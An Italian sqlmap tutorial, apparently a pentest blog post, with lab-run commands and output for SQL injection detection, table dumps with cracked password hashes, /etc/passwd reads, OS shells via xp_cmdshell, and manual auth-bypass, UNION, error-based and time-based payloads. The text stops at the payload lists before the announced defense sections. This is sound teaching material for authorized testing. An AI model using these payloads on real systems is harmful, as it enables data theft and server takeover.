SQLmap: Guida, Comandi e Tutorial per SQL Injection

Come usare sqlmap: installazione su Kali, Windows e Ubuntu, comandi, payload, POST, cookie, JSON, tamper e WAF bypass, dump MySQL e MS SQL Server, con lab.
- Pubblicato il 2026-02-05
- Tempo di lettura: 31 min
SQLmap: guida completa per testare e sfruttare le SQL injection (2026) #
sqlmap è il tool open source più usato per automatizzare il test e lo sfruttamento delle SQL injection. Lo punti su un URL, su una richiesta salvata da Burp o su un form: trova il parametro vulnerabile, riconosce il database, estrae tabelle e dati e, con i privilegi giusti, arriva a leggere file e a eseguire comandi sul server.
Questo tutorial sqlmap parte da zero e arriva a livello pentester: installazione, comandi sqlmap, richieste GET, POST, cookie, header e JSON, tecniche di injection, enumeration, dump, tamper script, WAF bypass, proxy, i singoli DBMS, un tamper personalizzato e la risoluzione dei problemi. Trovi anche una cheat sheet dei comandi e un laboratorio locale per provare tutto senza toccare siti altrui: vai al laboratorio sqlmap se vuoi saltare la teoria.
Versione testata: sqlmap 1.10.11. I comandi con 127.0.0.1:5000 sono stati eseguiti su un laboratorio Flask con SQLite, quelli con 127.0.0.1:8081 su un laboratorio PHP con MariaDB 10.11. Gli esempi con altri indirizzi (192.168.56.x) mostrano solo la sintassi. Qualche opzione, che segnalo di volta in volta, l’ho descritta da sqlmap -hh senza riuscire a provarla fino in fondo.
Tutto quello che leggi vale solo su sistemi tuoi o con autorizzazione scritta: laboratori locali, Hack The Box, TryHackMe, bug bounty con scope che lo permette, penetration test con contratto. È l’unico modo legale di fare hacking di un sito web con sqlmap.
In questa guida #
- Installazione e comandi base
- Cheat sheet sqlmap
- Richieste GET , POST , cookie e header , JSON e API
- Tecniche di SQL injection
- Enumeration e dump
- Shell, file e OS shell
- Esempio reale su MySQL
- Payload manuali e bypass dei filtri
- Tamper script e WAF bypass
- Troubleshooting
- Laboratorio locale
- Alternative a sqlmap
- Difesa e FAQ
Cos’è sqlmap e a cosa serve #
sqlmap è un tester di SQL injection scritto in Python. Il suo lavoro è prendere un punto di ingresso (un parametro GET, un campo POST, un cookie, un header, un campo JSON) e provare centinaia di payload diversi per capire se quel valore finisce dentro una query SQL senza controllo. Quando trova un’injection, la usa per leggere il database.
Un attacco SQL injection sfrutta un’applicazione che costruisce le query unendo pezzi di testo scritti dall’utente. Se non hai ancora chiaro come nasce una SQL injection , leggi prima quell’articolo: sqlmap automatizza quello che si fa a mano, e capire cosa fa ti serve per correggerlo quando sbaglia.
Cosa sa fare:
- Rilevare l’injection e capire quale tecnica funziona.
- Riconoscere il DBMS e la sua versione (database fingerprinting).
- Elencare database, tabelle, colonne, utenti, privilegi e hash delle password.
- Fare il dump dei dati e provare a craccare gli hash trovati.
- Leggere e scrivere file sul server, se il database lo permette.
- Ottenere una shell SQL o una shell di sistema operativo.
- Aggirare filtri e WAF con i tamper script.
Supporta oltre 30 DBMS: MySQL, MariaDB, PostgreSQL, Microsoft SQL Server, Oracle, SQLite, IBM DB2, Microsoft Access, Firebird, Sybase, SAP MaxDB e molti altri.
Il flusso di lavoro è sempre questo:
Quando usarlo, e quando no:
- Usalo quando hai già un sospetto (un errore SQL, un comportamento strano, un parametro che cambia la pagina) e vuoi confermarlo e sfruttarlo.
- Non usarlo come primo strumento su un sito in produzione: è rumoroso, manda moltissime richieste e un WAF o un SOC se ne accorge subito.
- Tra gli strumenti open source di test SQL injection è il più completo, ma conviene sempre fare prima un controllo manuale.
- Per capire il contesto prima di lanciarlo, fai ricognizione con Burp Suite e con ffuf per trovare i parametri.
Installazione sqlmap #
Il codice sorgente ufficiale è su sqlmap github. Il significato è: il repository del progetto su GitHub, https://github.com/sqlmapproject/sqlmap
. Per scaricare sqlmap hai tre strade, e la più aggiornata è sempre il clone da Git. Scarica solo da quel repository, dai pacchetti della tua distribuzione o da PyPI: gli “sqlmap download” su siti terzi o su cartelle zip a caso possono contenere codice modificato.
Installare sqlmap su Kali Linux #
Su Kali Linux sqlmap è nei repository, di solito è già presente:
# Check if sqlmap is already installed
sqlmap --version
# Install it if missing
sudo apt update && sudo apt install sqlmap -yInstallare sqlmap su Ubuntu e Debian #
Su Ubuntu e Debian il pacchetto si chiama come il tool. Se vuoi l’ultima versione usa il clone da Git:
# From the package manager (can be an older version)
sudo apt update && sudo apt install sqlmap -y
# From GitHub (always the latest version)
sudo apt install git python3 -y
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
cd sqlmap-dev
python3 sqlmap.py --versionSu Arch Linux basta sudo pacman -S sqlmap.
Installare sqlmap su Windows #
Per scaricare sqlmap per Windows e usarlo non serve nessun installer: serve Python 3 e Git. Scarica Python dal sito ufficiale, spunta “Add Python to PATH” e poi da PowerShell:
# Clone the repository
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
cd sqlmap-dev
# Run it
python sqlmap.py --versionSe non hai Git puoi scaricare lo zip dalla pagina GitHub del progetto e scompattarlo. Su Windows 7 l’ultima versione di Python installabile è la 3.8, e sqlmap funziona anche con quella. Su Windows il comando si lancia sempre con python sqlmap.py, non con sqlmap.
Installare sqlmap con pip e su Android #
# Install from PyPI
pip install sqlmap
# On Android with Termux
pkg install python git -y
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git
cd sqlmap
python sqlmap.py --versionAggiornare sqlmap #
# If you cloned from GitHub
cd sqlmap-dev
git pull
# Or use the built-in updater (works only on a git clone)
python3 sqlmap.py --update
# If you installed it with apt
sudo apt update && sudo apt install --only-upgrade sqlmapPer controllare che le dipendenze opzionali ci siano tutte: sqlmap --dependencies. Per l’help completo: sqlmap -hh.
Comandi sqlmap: la sintassi base #
La sintassi è sempre la stessa: il target, poi le opzioni.
sqlmap -u "http://127.0.0.1:5000/product?id=1" --batch-u è l’URL, --batch risponde da solo “sì, default” a tutte le domande. Senza --batch sqlmap si ferma e ti chiede conferma a ogni passo, che è utile per imparare e fastidioso negli script.
Ecco la tabella dei comandi sqlmap, la cheat sheet dei comandi di hacking SQL che userai ogni giorno nell’uso del tool:
| Opzione | Cosa fa |
|---|---|
-u URL | Target con parametri GET |
--data="a=1&b=2" | Corpo di una richiesta POST |
-r request.txt | Legge una richiesta HTTP completa da file |
-p param | Testa solo quel parametro |
--cookie="a=1; b=2" | Imposta i cookie |
--headers="Name: value" | Imposta header personalizzati |
--batch | Modalità non interattiva |
--level=1-5 | Quanti punti di injection provare |
--risk=1-3 | Quanto sono pericolosi i test |
--technique=BEUSTQ | Quali tecniche usare |
--dbms=mysql | Forza il DBMS |
--banner, --current-user, --current-db | Informazioni sul database |
--is-dba | Controlla se l’utente è amministratore |
--dbs, --tables, --columns | Enumeration |
-D db -T table -C column | Sceglie database, tabella, colonne |
--dump, --dump-all | Estrae i dati |
--passwords, --users, --privileges | Utenti, hash e privilegi |
--sql-shell, --os-shell | Shell SQL e shell di sistema |
--file-read, --file-write, --file-dest | Lettura e scrittura file |
--tamper=script1,script2 | Modifica i payload per aggirare i filtri |
--random-agent | User-Agent casuale |
--proxy, --tor | Passa da proxy o da Tor |
--threads=N | Richieste in parallelo (massimo 10) |
--flush-session | Cancella la sessione salvata e riparte |
-v 0-6 | Verbosità (-v 3 mostra i payload) |
Cheat sheet sqlmap per categoria #
Le stesse opzioni, divise per quello che devi fare. È la sqlmap cheat sheet da tenere sotto mano:
| Categoria | Opzioni |
|---|---|
| Target | -u, -r file, -m targets.txt (lista di URL), -c config.ini, -l log (da Burp) |
| Richiesta | --data, --cookie, --headers, -X (metodo HTTP), --auth-type e --auth-cred, --proxy, --random-agent |
| Dove iniettare | -p, --skip, --prefix, --suffix, --second-url, asterisco * nel valore |
| Rilevamento | --level, --risk, --string, --not-string, --code, --text-only |
| Tecniche | --technique=BEUSTQ, --time-sec, --union-cols, --union-char |
| Enumeration | --banner, --current-user, --current-db, --dbs, --tables, --columns, --schema, --search, --common-tables, --common-columns |
| Dump | --dump, --dump-all, -D, -T, -C, --where, --start, --stop, --exclude-sysdbs, --dump-format |
| Fingerprint | --dbms, -f (fingerprint esteso), --banner |
| Accesso al sistema | --file-read, --file-write, --file-dest, --sql-shell, --os-shell, --os-cmd |
| Evasione | --tamper, --delay, --random-agent, --tor, --proxy, --skip-waf |
| Sessione e output | --flush-session, --fresh-queries, --output-dir, --results-file, --save, --har, -v |
| Aiuto | -h, -hh (help completo), --wizard (modalità guidata), --list-tampers |
-m legge una lista di URL (uno per riga) e li testa uno dopo l’altro; --results-file salva i risultati in un CSV; --save salva le opzioni in un file di configurazione che riusi con -c. Per i principianti --wizard fa le domande al posto tuo.
Come usare sqlmap su richieste GET #
È il caso più semplice. Hai un parametro in URL e lo passi con -u:
sqlmap -u "http://127.0.0.1:5000/product?id=1" --batchQuesto è l’output reale ottenuto sul laboratorio (accorciato):
sqlmap identified the following injection point(s) with a total of 52 HTTP(s) requests:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 3874=3874
Type: error-based
Title: SQLite >= 3.9 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON path)
Payload: id=1 AND 1422=JSON_EXTRACT(CHAR(123,125),CHAR(113,120,120,107,113)||(SELECT (CASE WHEN (1422=1422) THEN 1 ELSE 0 END))||CHAR(113,112,122,122,113))
Type: time-based blind
Title: SQLite > 2.0 AND time-based blind (heavy query)
Payload: id=1 AND 1521=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2))))
Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: id=1 UNION ALL SELECT NULL,CHAR(113,120,120,107,113)||CHAR(108,109,79,...)||CHAR(113,112,122,122,113),NULL-- LQng
---
back-end DBMS: SQLiteCome si legge: Parameter è il punto vulnerabile, Type è la tecnica che funziona, Payload è la stringa che sqlmap ha mandato. Con quattro tecniche disponibili puoi scegliere la più veloce per estrarre i dati.
Se nell’URL ci sono più parametri e vuoi testarne uno solo, usa -p:
sqlmap -u "http://127.0.0.1:5000/product?id=1&order=asc" -p id --batchSe la richiesta non ha nessun parametro visibile (per esempio un URL con l’id nel percorso), metti un asterisco dove vuoi iniettare:
sqlmap -u "http://127.0.0.1:5000/product/1*" --batchCome usare sqlmap su richieste POST #
Per una richiesta POST (sqlmap post data) passi il corpo con --data:
sqlmap -u "http://127.0.0.1:5000/login" --data="username=admin&password=5f4dcc3b5aa765d61d8327deb882cf99" -p username --technique=B --batchOutput reale:
Parameter: username (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: username=admin' AND 9014=9014 AND 'TUcU'='TUcU&password=5f4dcc3b5aa765d61d8327deb882cf99Un dettaglio che fa perdere tempo a tutti: per la tecnica boolean-based blind (Il significato è: cieca basata su vero o falso) sqlmap confronta due pagine, quella con la condizione vera e quella con la condizione falsa. Se nel --data metti credenziali sbagliate, la pagina di partenza è già “falsa” e sqlmap non vede nessuna differenza. Usa sempre valori che portano la pagina nello stato “vero” (un login valido, un id che esiste), oppure dì a sqlmap cosa cercare con --string="Login successful".
Il file di richiesta: sqlmap -r e Burp Suite #
Il modo più realistico di lavorare è copiare la richiesta vera dal browser. Con Burp Suite
: intercetti la richiesta, tasto destro, “Copy to file” (oppure “Save item”), e la dai a sqlmap con -r:
sqlmap -r request.txt -p username --technique=B --batchIl file request.txt è la richiesta HTTP grezza:
POST /login HTTP/1.1
Host: 127.0.0.1:5000
Content-Type: application/x-www-form-urlencoded
Content-Length: 62
username=admin&password=5f4dcc3b5aa765d61d8327deb882cf99Con -r sqlmap prende da solo metodo, header, cookie e corpo, e li prova tutti. Due note importanti:
- Il file non contiene lo schema, quindi sqlmap usa
http. Se il sito è in HTTPS aggiungi--force-ssl. - Per testare un punto preciso dentro il file, scrivi un asterisco nel valore (per esempio
username=admin*).
Per far passare il traffico di sqlmap da Burp e vederlo nella cronologia:
sqlmap -u "http://127.0.0.1:5000/product?id=1" --proxy="http://127.0.0.1:8080" --batchsqlmap con cookie e header (cookie SQL injection) #
Molte injection stanno dove nessuno guarda: nel cookie e negli header. Per un cookie (sqlmap cookie sql injection) servono --cookie e --level=2, perché a livello 1 i cookie non vengono testati:
sqlmap -u "http://127.0.0.1:5000/profile" --cookie="user_id=1" --level=2 --technique=U --batchOutput reale:
Parameter: user_id (Cookie)
Type: UNION query
Title: Generic UNION query (NULL) - 1 column
Payload: user_id=-2073 UNION ALL SELECT CONCAT(CONCAT('qzpvq','WEDiKIjUiUqnumzxvByWjgsVgAeiWyNHVmstgnTy'),'qbbvq')-- TSlTGli altri punti di ingresso in base al livello:
| Livello | Cosa viene testato in più |
|---|---|
| 1 (default) | Parametri GET e POST |
| 2 | Cookie |
| 3 | Header User-Agent e Referer |
| 4 | Altri header |
| 5 | Header Host |
Per iniettare in un header specifico, mettici l’asterisco:
sqlmap -u "http://127.0.0.1:5000/product?id=1" --headers="X-Forwarded-For: 127.0.0.1*" --batchPer i token di autenticazione e le sessioni:
# Bearer token in the Authorization header
sqlmap -u "http://127.0.0.1:5000/product?id=1" --headers="Authorization: Bearer 8f3a1c9e2b7d4a60" --batch
# HTTP Basic authentication (not for login forms)
sqlmap -u "http://127.0.0.1:5000/product?id=1" --auth-type=Basic --auth-cred="admin:password" --batch
# Load cookies from a file exported from the browser
sqlmap -u "http://127.0.0.1:5000/product?id=1" --load-cookies=cookies.txt --batch--auth-type e --auth-cred servono solo per l’autenticazione HTTP del browser (Basic, Digest, NTLM). Per un form di login normale, copia i cookie di sessione dopo aver fatto il login.
Altri header utili: -A "Mozilla/5.0" per il User-Agent, --referer, --host, --random-agent per un User-Agent casuale e --mobile per imitare uno smartphone.
sqlmap con JSON e API #
Le API moderne mandano JSON. sqlmap lo riconosce da solo se il corpo sembra JSON, ma devi dirgli il Content-Type:
sqlmap -u "http://127.0.0.1:5000/api/search" --data='{"name":"Mouse*"}' --headers="Content-Type: application/json" --technique=B --batchL’asterisco dopo Mouse dice dove iniettare. Output reale:
Parameter: JSON #1* ((custom) POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: {"name":"Mouse' AND 1997=1997 AND 'FpzE'='FpzE"}Se sqlmap ti chiede “JSON data found in POST body. Do you want to process it?” rispondi Y (con --batch lo fa da solo). Per le particolarità delle API REST leggi anche SQL injection nelle API REST
.
Token CSRF, form e crawling #
Se il form cambia un token a ogni richiesta, sqlmap può leggerlo da una pagina e rimandarlo:
sqlmap -u "http://127.0.0.1:5000/login" --data="username=admin&password=x&csrf_token=abc" --csrf-token="csrf_token" --csrf-url="http://127.0.0.1:5000/login" --batchPer testare tutti i form di una pagina e per fare il crawling del sito:
# Parse and test every form in the page
sqlmap -u "http://127.0.0.1:5000/" --forms --batch
# Crawl two levels deep and test what it finds
sqlmap -u "http://127.0.0.1:5000/" --crawl=2 --batchPer le sessioni che scadono o che vengono invalidate dai test, guarda --safe-url e --safe-freq: sqlmap visita una pagina innocua ogni tot richieste per tenere viva la sessione.
Tecniche di SQL injection in sqlmap #
sqlmap prova sei tecniche, che si scelgono con --technique usando le lettere: B, E, U, S, T, Q. Il default è BEUSTQ, cioè tutte.
| Lettera | Tecnica | Velocità | Rumore |
|---|---|---|---|
U | UNION query (Il significato è: la query originale viene unita a una tua) | Altissima | Medio |
E | Error-based (Il significato è: il dato esce dentro un messaggio di errore) | Alta | Medio |
B | Boolean-based blind (Il significato è: si deduce il dato da risposte vere o false) | Bassa | Alto |
T | Time-based blind (Il significato è: si deduce il dato dal tempo di risposta) | Molto bassa | Alto |
S | Stacked queries (Il significato è: più query separate da un punto e virgola) | Alta | Medio |
Q | Inline queries (Il significato è: una subquery dentro la query originale) | Media | Medio |
Come scegliere:
# Only UNION: fastest, use it when the page shows query results
sqlmap -u "http://127.0.0.1:5000/product?id=1" --technique=U --batch
# Only boolean and time-based: for pages that show nothing useful
sqlmap -u "http://127.0.0.1:5000/product?id=1" --technique=BT --batch
# Everything except time-based: avoids the slow delays
sqlmap -u "http://127.0.0.1:5000/product?id=1" --technique=BEUSQ --batchBoolean-based e time-based: sqlmap blind SQL injection #
Una injection blind è quella in cui la pagina non mostra né dati né errori. Si sfrutta una differenza: nel caso boolean-based la pagina cambia (più risultati, meno risultati, un messaggio diverso), nel caso time-based il server risponde più lentamente. Se vuoi capire il meccanismo a mano leggi SQL injection blind
e time-based SQL injection
.
Questo è un esempio di tutorial su una blind SQL injection con sqlmap. L’endpoint del laboratorio /delayed-search risponde sempre “Search completed”, qualunque cosa succeda: l’unica tecnica possibile è quella del tempo.
sqlmap -u "http://127.0.0.1:5000/delayed-search?q=Mouse" --technique=T --level=3 --risk=2 --time-sec=2 --batchOutput reale (accorciato):
[INFO] testing 'SQLite > 2.0 AND time-based blind (heavy query)'
[INFO] GET parameter 'q' appears to be 'SQLite > 2.0 AND time-based blind (heavy query)' injectablePerché servono --level=3 --risk=2: con i valori di default quel test non parte. Con --risk=2 sqlmap aggiunge le query pesanti (heavy query), che sono quelle che funzionano quando il DBMS non ha una funzione di sleep, come SQLite. --time-sec=2 abbassa il ritardo da 5 a 2 secondi per fare prima.
Consigli sul time-based:
- È lentissimo: ogni carattere richiede più richieste. Usalo solo se non c’è niente di meglio.
- Non usare molti
--threads: i ritardi si sovrappongono e i risultati diventano sbagliati. - Le query pesanti possono rallentare il database in produzione. Chiedi sempre prima.
- Per velocizzare sui dati testuali restringi i caratteri con
--charset="0123456789abcdef"(utile per gli hash).
Stacked queries #
Le stacked queries funzionano solo se il driver del database accetta più istruzioni separate da un punto e virgola. Su Microsoft SQL Server e PostgreSQL di solito sì, su MySQL con PHP quasi mai. Sono la tecnica che serve per eseguire comandi e scrivere file: se sqlmap non le trova, --os-shell non funzionerà (tranne che con la scrittura di file).
Second-order injection #
Nella second-order injection (Il significato è: il payload viene salvato adesso ed eseguito dopo, in un’altra pagina) il punto di inserimento e il punto dove la query si rompe sono diversi. Si dice a sqlmap quale pagina guardare dopo ogni invio con --second-url:
Nel laboratorio, /register salva la bio con una query sicura, ma /welcome la usa dopo, concatenata dentro un’altra query. Il primo passo è mettere un valore valido (bio=Mouse), perché sqlmap deve vedere una pagina “vera” di partenza:
sqlmap -u "http://127.0.0.1:5000/register" --data="username=mario&bio=Mouse" -p bio --second-url="http://127.0.0.1:5000/welcome?user=mario" --technique=B --dbms=sqlite --batchOutput reale (accorciato):
Parameter: bio (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: username=mario&bio=Mouse' AND 6888=6888 AND 'lCjy'='lCjyIl parametro che inietti è bio (nel form di registrazione), ma la query che si rompe è quella di /welcome. Da qui ogni comando di enumeration funziona come sempre: aggiungendo --tables nello stesso comando sqlmap ha elencato bios, products e users.
Nelle vecchie guide trovi --second-order: nelle versioni attuali l’opzione si chiama --second-url (e --second-req per caricare la seconda richiesta da un file).
Out-of-band e DNS exfiltration #
Quando non c’è nessuna differenza né di contenuto né di tempo, il database può contattare un server tuo. L’opzione --dns-domain attiva l’esfiltrazione tramite DNS (out-of-band: Il significato è: il dato esce da un canale diverso da quello della risposta HTTP). Serve un dominio di cui controlli il server DNS e un DBMS che sa fare richieste esterne (SQL Server, Oracle e pochi altri). È una tecnica di nicchia: se ti serve, parti dalla documentazione ufficiale nel wiki di sqlmap
.
Database fingerprinting ed enumeration #
Una volta trovata l’injection, la sequenza è sempre la stessa: informazioni, database, tabelle, colonne, dati. Sqlmap salva tutto in una sessione, quindi i comandi successivi non rifanno il rilevamento.
# Who am I, where am I
sqlmap -u "http://127.0.0.1:5000/product?id=1" --banner --current-user --current-db --hostname --is-dba --batchSu MySQL e PostgreSQL questo ti dice versione, utente e se sei amministratore. Sul laboratorio SQLite l’output è questo:
banner: '3.53.1'
[WARNING] on SQLite it is not possible to get name of the current database
[WARNING] on SQLite the current user has all privilegesSQLite non ha utenti né database multipli, quindi molte di queste informazioni non esistono. È un buon promemoria: sqlmap si adatta al DBMS, e a volte la risposta giusta è “non esiste”.
sqlmap enumerate databases, tables e columns #
# List databases (MySQL, PostgreSQL, MSSQL, ...)
sqlmap -u "http://192.168.56.20/product.php?id=5" --dbs --batch
# List tables of one database
sqlmap -u "http://192.168.56.20/product.php?id=5" -D shop --tables --batch
# List columns of one table
sqlmap -u "http://192.168.56.20/product.php?id=5" -D shop -T users --columns --batch
# The whole schema in one go
sqlmap -u "http://192.168.56.20/product.php?id=5" --schema --batch
# Search for a column or table by name
sqlmap -u "http://192.168.56.20/product.php?id=5" --search -C password --batchSul laboratorio (SQLite non ha --dbs):
sqlmap -u "http://127.0.0.1:5000/product?id=1" --tables --batch<current>
[2 tables]
+----------+
| products |
| users |
+----------+sqlmap -u "http://127.0.0.1:5000/product?id=1" -T users --columns --batchTable: users
[4 columns]
+----------+---------+
| Column | Type |
+----------+---------+
| id | INTEGER |
| password | TEXT |
| role | TEXT |
| username | TEXT |
+----------+---------+sqlmap dump database: estrarre i dati #
sqlmap -u "http://127.0.0.1:5000/product?id=1" -T users --dump --batchTable: users
[3 entries]
+----+--------+---------------------------------------------+----------+
| id | role | password | username |
+----+-------+---------------------------------------------+----------+
| 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | admin |
| 2 | user | e10adc3949ba59abbe56e057f20f883e (123456) | mario |
| 3 | user | 25d55ad283aa400af464c76d713c07ad (12345678) | sara |
+----+-------+---------------------------------------------+----------+Nota le parole tra parentesi: sqlmap riconosce che sono hash MD5 e prova a craccarli da solo con un dizionario interno. Per hash più difficili usa Hashcat o John the Ripper .
Le varianti del dump:
# Only some columns
sqlmap -u "http://127.0.0.1:5000/product?id=1" -T users -C username,password --dump --batch
# Only rows that match a condition
sqlmap -u "http://127.0.0.1:5000/product?id=1" -T users --dump --where="role='admin'" --batch
# Only a range of rows
sqlmap -u "http://127.0.0.1:5000/product?id=1" -T users --dump --start=1 --stop=2 --batch
# Everything, without the system databases (it can be huge)
sqlmap -u "http://192.168.56.20/product.php?id=5" --dump-all --exclude-sysdbs --batch
# Choose the output format: CSV (default), HTML, SQLITE or JSONL
sqlmap -u "http://127.0.0.1:5000/product?id=1" -T users --dump --dump-format=HTML --batchI file finiscono nella cartella di output di sqlmap, in dump/. Su Linux la cartella è ~/.local/share/sqlmap/output/<host>/.
Utenti, privilegi e hash delle password del database #
sqlmap -u "http://192.168.56.20/product.php?id=5" --users --passwords --privileges --roles --batch--passwords estrae gli hash degli utenti del database (non quelli dei tuoi utenti dell’applicazione) e prova a craccarli. Un hash di MySQL si cracca con Hashcat
così:
echo "*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B" > mysql_hash.txt
hashcat -m 300 mysql_hash.txt /usr/share/wordlists/rockyou.txtIl risultato di --is-dba e di --privileges decide quanto è grave l’injection: un utente applicativo con pochi permessi legge solo i suoi dati, un amministratore può arrivare al sistema operativo.
sqlmap shell: SQL shell, lettura file e OS shell #
Qui l’injection diventa compromissione del server. Tutto dipende dai privilegi dell’utente del database e dal DBMS.
SQL shell #
Una shell interattiva in cui scrivi query e sqlmap le esegue per te:
sqlmap -u "http://127.0.0.1:5000/product?id=1" --sql-shell --batchsql-shell> SELECT username FROM users WHERE id=1
SELECT username FROM users WHERE id=1: 'admin'File read e file write #
Su MySQL serve il privilegio FILE e un valore di secure_file_priv che lo permetta. Su Microsoft SQL Server e PostgreSQL dipende dalla configurazione e dai privilegi.
# Read a file from the server
sqlmap -u "http://192.168.56.20/product.php?id=5" --file-read="/etc/passwd" --batch
# Write a proof file into the web root
echo "pentest-proof" > proof.txt
sqlmap -u "http://192.168.56.20/product.php?id=5" --file-write="proof.txt" --file-dest="/var/www/html/proof.txt" --batchIl file letto viene salvato nella cartella files/ dell’output di sqlmap. Per un report basta scrivere un file di prova: dimostra l’impatto senza lasciare una web shell. Se invece l’obiettivo è la shell, vedi web shell
e file upload attack
.
OS shell #
sqlmap -u "http://192.168.56.20/product.php?id=5" --os-shell --batchCome funziona dipende dal DBMS:
- Su MySQL sqlmap scrive di solito un piccolo web shell nella web root con
INTO OUTFILE, quindi servonoFILE, una cartella scrivibile e un linguaggio lato server riconosciuto (PHP, ASP, ASPX, JSP). Ti chiede la web root: se non la conosci prova la lista dei percorsi comuni. - Su Microsoft SQL Server usa
xp_cmdshell: se è disabilitata e sei amministratore, sqlmap la riattiva da solo. Leggi anche SQL injection su MSSQL . - Su PostgreSQL con un superutente carica una funzione utente (UDF) per eseguire comandi.
- Su SQLite e sui database senza accesso al sistema operativo non c’è nessuna OS shell.
Altre opzioni di post exploitation: --os-pwn (shell remota, Meterpreter o VNC), --priv-esc, --reg-read per leggere il registro su Windows. Servono quasi sempre privilegi da amministratore del database.
sqlmap e i singoli DBMS #
Se sai già qual è il DBMS, forzarlo con --dbms fa risparmiare molti test:
sqlmap -u "http://192.168.56.20/product.php?id=5" --dbms=mysql --batch| DBMS | Valore di --dbms | Cosa sapere |
|---|---|---|
| MySQL e MariaDB | mysql | Il caso più comune per un tool di MySQL injection: MariaDB viene riconosciuto come MySQL. Vedi SQL injection su MySQL e la porta 3306 |
| Microsoft SQL Server | mssql | xp_cmdshell, stacked queries, --reg-read. Vedi la porta 1433 |
| PostgreSQL | postgresql | Stacked queries e UDF con superutente |
| Oracle | oracle | Tabella dual obbligatoria nelle select, time-based con DBMS_PIPE |
| SQLite | sqlite | Niente utenti, niente privilegi, niente OS shell |
| Microsoft Access | access | Niente information_schema: usa --common-tables e --common-columns |
Esempio reale su MySQL (MariaDB) #
Il laboratorio Flask è su SQLite, che non ha utenti né database. Per mostrarti l’output su un DBMS vero ho provato sqlmap su una piccola app PHP con MariaDB 10.11, vulnerabile apposta e in ascolto solo su 127.0.0.1. La query è SELECT id, name, price FROM products WHERE id = $id.
sqlmap -u "http://127.0.0.1:8081/index.php?id=1" --dbs --batchavailable databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] shop
[*] syssqlmap -u "http://127.0.0.1:8081/index.php?id=1" --current-user --current-db --is-dba --batchcurrent user: 'webadmin@localhost'
current database: 'shop'
current user is DBA: TrueLo stesso comando con un utente applicativo con pochi permessi (nel mio laboratorio webreader) dà current user is DBA: False, e il tentativo di --file-read su quell’utente finisce con no data retrieved: è la differenza tra un’injection che legge dati e una che arriva al server. Con l’utente amministratore --file-read="/etc/hostname" ha scaricato il file nella cartella files/ dell’output.
Un dettaglio utile sugli hash: --passwords ha restituito invalid e NULL per gli utenti di MariaDB 10.11, perché i campi hash non erano nel formato classico. Se vedi questo, non vuol dire che il comando è rotto: dipende dalla versione del database.
Sullo stesso bersaglio sqlmap ha trovato la UNION con tre colonne:
Parameter: id (GET)
Type: UNION query
Title: Generic UNION query (NULL) - 3 columnsAnche --os-shell e i tamper hanno funzionato su questo laboratorio con l’utente amministratore. Se il tuo bersaglio è un MySQL reale leggi anche SQL injection su MySQL
.
sqlmap per Microsoft SQL Server (sqlmap ms sql server) #
Il caso classico in un pentest Windows: un’applicazione ASP.NET con SQL Server dietro.
sqlmap -u "http://192.168.56.30/item.aspx?id=4" --dbms=mssql --is-dba --batch
sqlmap -u "http://192.168.56.30/item.aspx?id=4" --dbms=mssql --os-shell --batchCon --dbms="Microsoft SQL Server" ottieni lo stesso risultato. Se l’utente è sa o ha il ruolo sysadmin, hai praticamente il server. Dopo il test, riporta sempre l’abilitazione di xp_cmdshell nel report: sqlmap può averla cambiata.
Payload manuali: cosa manda davvero sqlmap #
Per capire gli output (e per quando sqlmap non basta) serve conoscere i payload a mano. Questi sono stati verificati sul laboratorio SQLite o seguono la sintassi standard del DBMS indicato.
Rilevamento #
'
"
')
'))
1 AND 1=1
1 AND 1=2
1' AND '1'='1Se 1 AND 1=1 restituisce la pagina normale e 1 AND 1=2 una pagina diversa, hai una boolean-based. Sul laboratorio: il primo mostra “1 - Keyboard - 29.9”, il secondo “No product”.
Commenti per chiudere la query #
-- - MySQL, PostgreSQL, MSSQL, Oracle, SQLite
# MySQL
/**/ all (inline)Bypass di autenticazione #
admin'-- -
' OR 1=1-- -
admin' OR '1'='1Sul laboratorio i primi due danno entrambi “Login successful”.
UNION: numero di colonne ed estrazione #
1 ORDER BY 1-- -
1 ORDER BY 2-- -
1 ORDER BY 3-- -
1 ORDER BY 4-- -Quando ORDER BY 4 dà errore (sul laboratorio: “1st ORDER BY term out of range - should be between 1 and 3”) la query ha 3 colonne. Poi:
-1 UNION SELECT NULL,NULL,NULL-- -
-1 UNION SELECT NULL,'a',NULL-- -
-1 UNION SELECT NULL,GROUP_CONCAT(name),NULL FROM sqlite_master WHERE type='table'-- -
-1 UNION SELECT NULL,GROUP_CONCAT(username||':'||password),NULL FROM users-- -Il terzo restituisce sul laboratorio users,products, il quarto tutti gli utenti con gli hash. Su MySQL le tabelle si leggono da information_schema:
-1 UNION SELECT NULL,GROUP_CONCAT(table_name),NULL FROM information_schema.tables WHERE table_schema=DATABASE()-- -Error-based #
MySQL 1 AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT VERSION())))
MySQL 1 AND UPDATEXML(1,CONCAT(0x7e,(SELECT USER())),1)
MSSQL 1 AND 1=CONVERT(INT,(SELECT @@VERSION))
PostgreSQL 1 AND 1=CAST((SELECT VERSION()) AS INT)
Oracle 1 AND 1=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||(SELECT USER FROM DUAL)||CHR(62))) FROM DUAL)Time-based #
MySQL 1 AND SLEEP(5)
MySQL 1 AND (SELECT 1 FROM (SELECT SLEEP(5))a)
MSSQL 1; WAITFOR DELAY '0:0:5'-- -
PostgreSQL 1 AND 1=(SELECT 1 FROM PG_SLEEP(5))
Oracle 1 AND 1=DBMS_PIPE.RECEIVE_MESSAGE('a',5)
